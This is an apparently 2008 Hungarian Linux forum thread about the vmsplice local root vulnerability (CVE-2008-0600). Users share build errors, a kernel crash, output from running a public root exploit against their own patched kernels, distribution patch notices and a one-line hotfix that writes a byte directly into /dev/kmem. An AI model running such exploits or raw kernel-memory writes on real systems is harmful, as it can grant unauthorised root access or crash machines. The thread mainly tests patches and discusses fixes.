/usr/include/sys/mman.h:124: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:134: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:134: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:139: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:140: error: expected declaration specifiers or '...' before 'size_t'
MI az ami feltétlen szükséges a fordításhoz? Azt megnéztem, hogy a fügvényem megvannak.

kicsit játszottam vele:

http://pastebin.ca/899718

másik terminálban (kernel forgatás közben, amíg a másikon a fentieket műveltem):

CC fs/ntfs/index.o
{standard input}: Assembler messages:
{standard input}:0: Warning: end of file not at end of a line; newline inserted
{standard input}:901: Error: unbalanced parenthesis in operand 2.
gcc: Internal error: Szegmens hiba (program cc1)
Please submit a full bug report.
See for instructions.
For Debian GNU/Linux specific bug reporting instructions, see
/usr/share/doc/gcc-4.2/README.Bugs.
make[2]: *** [fs/ntfs/index.o] Error 1
make[1]: *** [fs/ntfs] Error 2
make: *** [fs] Error 2
aspire:/usr/src/linux#
Message from syslogd@aspire at Mon Feb 11 11:57:39 2008 ...
aspire kernel: ------------[ cut here ]------------
Message from syslogd@aspire at Mon Feb 11 11:57:39 2008 ...
aspire kernel: invalid opcode: 0000 [#1] PREEMPT
Message from syslogd@aspire at Mon Feb 11 11:57:39 2008 ...
aspire kernel: Process cc1 (pid: 7722, ti=c4aa0000 task=cb4a94c0 task.ti=c4aa0000)
...

:)
persze miután leálltam a h4ck-rootkodással a másik terminálban, a make lement hiba nélkül

2.6.24.1 & pax test12:

LD .tmp_vmlinux1
fs/built-in.o: In function `load_elf_binary':
binfmt_elf.c:(.text+0x336a3): undefined reference to `pax_set_initial_flags'
make: *** [.tmp_vmlinux1] Error 1

úgyhogy pax kilőve

2.6.24.2:

viktor@aspire:~$ uname -a
Linux aspire 2.6.24.2 #1 PREEMPT Mon Feb 11 12:13:11 CET 2008 i686 GNU/Linux
viktor@aspire:~$ ./splice-exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e21000 .. 0xb7e53000
[-] vmsplice: Bad address
viktor@aspire:~$

Gentoo-ban javítva. A két ebuild a 2.6.24.2 és 2.6.23.15 verzióra épül.

*gentoo-sources-2.6.24-r2 (11 Feb 2008)

11 Feb 2008; Daniel Drake
+gentoo-sources-2.6.24-r2.ebuild:
Add another vmsplice() security fix. This solves all the current vmsplice
exploits that we know about.

*gentoo-sources-2.6.23-r8 (11 Feb 2008)

11 Feb 2008; Daniel Drake
+gentoo-sources-2.6.23-r8.ebuild:
Add another vmsplice() security fix. This solves all the current vmsplice
exploits that we know about.

Valaki tesztelte? Én 2.6.24.1-et próbáltam. De Jessica lenyomta :)

--
http://kac.duf.hu/~balage/blog

gentoo fele "vmsplice() security fix" @ ubuntu feisty:


bandi@ubuntu-test:~$ ./diane_lane_fucked_hard
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] addr: 0xc011ae90
[-] wtf
bandi@ubuntu-test:~$ ./jessica_biel_naked_in_my_bed
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d77000 .. 0xb7da9000
[-] vmsplice: Bad address

--
A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

btw, ennyi script kiddie-t egy helyen, mint itt meg nem lattam ;P

--
Unix, Perfectly "natural" after five or ten years.

Megszeretnem koszonni az eddigi hozzaszolasokat es egyuttal szeretnem kezdemenyezni, hogy a Linux kategoriat toroljuk az oldalrol, hogy a HUP melto maradhasson a nevehez.

http://weho.st

Valamelyik este tényleg ezen meditáltam. Aztán elvetettem a lehetőséget.

Mert noha különböznek a szavaink, neveltetésünk, előéletünk, a tudás mindenki számára elérhető saját erejéből, Isten kegyelméből, Isten nélkül is, mert Isten szereti az ateistákat, lévén Ő maga sem igényli a hitet saját létéhez, mivel tud és van... Mi viszont, a különbségeink miatt világosodunk meg, ha sikerül is, hiába. Maradunk tudatlanok, leszünk nemlevők.

hotfix (c) sd:

echo -e '\xc3' | dd of=/dev/kmem bs=1 count=1 seek=$((0x`cat /proc/kallsyms| grep sys_vmsplice | awk {'print $1'}`))

A RedHat most adott ki frissítést a hibára:
A flaw was found in vmsplice. An unprivileged local user could use this
flaw to gain root privileges. (CVE-2008-0600)

--
http://laszlo.co.hu/

Felhivnam figyelmed, hogy ez egy masik hiba.

The vmsplice_to_pipe function in Linux kernel 2.6.17 through 2.6.24.1 does not validate a certain userspace pointer before dereference, which allows local users to gain root privileges via crafted arguments in a vmsplice system call, a different vulnerability than CVE-2008-0009 and CVE-2008-0010.